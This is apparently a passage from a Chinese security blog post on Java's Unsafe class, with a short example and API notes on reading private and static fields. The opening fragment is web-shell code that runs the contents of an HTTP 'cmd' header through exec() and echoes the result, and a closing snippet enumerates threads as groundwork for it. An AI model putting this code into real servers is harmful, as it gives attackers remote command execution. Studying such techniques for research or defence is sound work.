 		var table = unsafe.getObject(threadLocals,unsafe.objectFieldOffset(threadLocals.getClass().getDeclaredField("table")));
 //直接获得table的值,也就是那个数组
 		for (var j = 0; j < table.length; j++) {
 			try {
 				var valueField = unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));//遍历value的值
 				var w = valueField.getHttpChannel().getResponse().getWriter();//这是获得回显值
 				w.println(exec(valueField.getHttpChannel().getRequest().getHeader("cmd")));//获取request.header
 				w.flush();
 

Unsafe的黑魔法

前言

为什么要学习这个类,因为在高版本的jdk中反射就被禁用了,所以需要unsafe这个类

构造方法是私有的,所以我们并不能直接 new实例化,需要通过getUnsafe这个对象得到

image-20231020174408831

这里举个例子

public class Main2 {

    public static void main(String[] args) throws Exception {
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        //这里必须预先实例化Person,否则它的静态字段不会加载
        Person person = new Person();
        Class<?> personClass = person.getClass();
        Field name = personClass.getField("NAME");
        //注意,上面的Field实例是通过Class获取的,但是下面的获取静态属性的值没有依赖到Class
        System.out.println(unsafe.getObject(unsafe.staticFieldBase(name), unsafe.staticFieldOffset(name)));
    }
}
@Data
public class Person {

    public static String NAME = "doge";
    public String age;
}
这样就可以获得 doge的值
staticFieldBase#
public native Object staticFieldBase(Field f);
返回给定的静态属性的位置配合staticFieldOffset方法使用实际上这个方法返回值就是静态属性所在的Class对象的一个内存快照注释中说到此方法返回的Object有可能为null它只是一个'cookie'而不是真实的对象不要直接使用的它的实例中的获取属性和设置属性的方法它的作用只是方便调用上面提到的像getInt(Object,long)等等的任意方法
    
staticFieldOffset#
public native long staticFieldOffset(Field f);
返回给定的静态属性在它的类的存储分配中的位置(偏移地址)不要在这个偏移量上执行任何类型的算术运算它只是一个被传递给不安全的堆内存访问器的cookie注意这个方法仅仅针对静态属性使用在非静态属性上会抛异常下面源码中的方法注释估计有误staticFieldOffset和objectFieldOffset的注释估计是对调了为什么会出现这个问题无法考究
    
getObject#
public native Object getObject(Object o, long offset);
通过给定的Java变量获取引用值这里实际上是获取一个Java对象o中获取偏移地址为offset的属性的值此方法可以突破修饰符的抑制也就是无视privateprotected和default修饰符类似的方法有getIntgetDouble等等
var unsafe = getunsafe();
var group = java.lang.Thread.currentThread().getThreadGroup();
var f = group.getClass().getDeclaredField("threads");
var threads = unsafe.getObject(group, unsafe.objectFieldOffset(f));

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。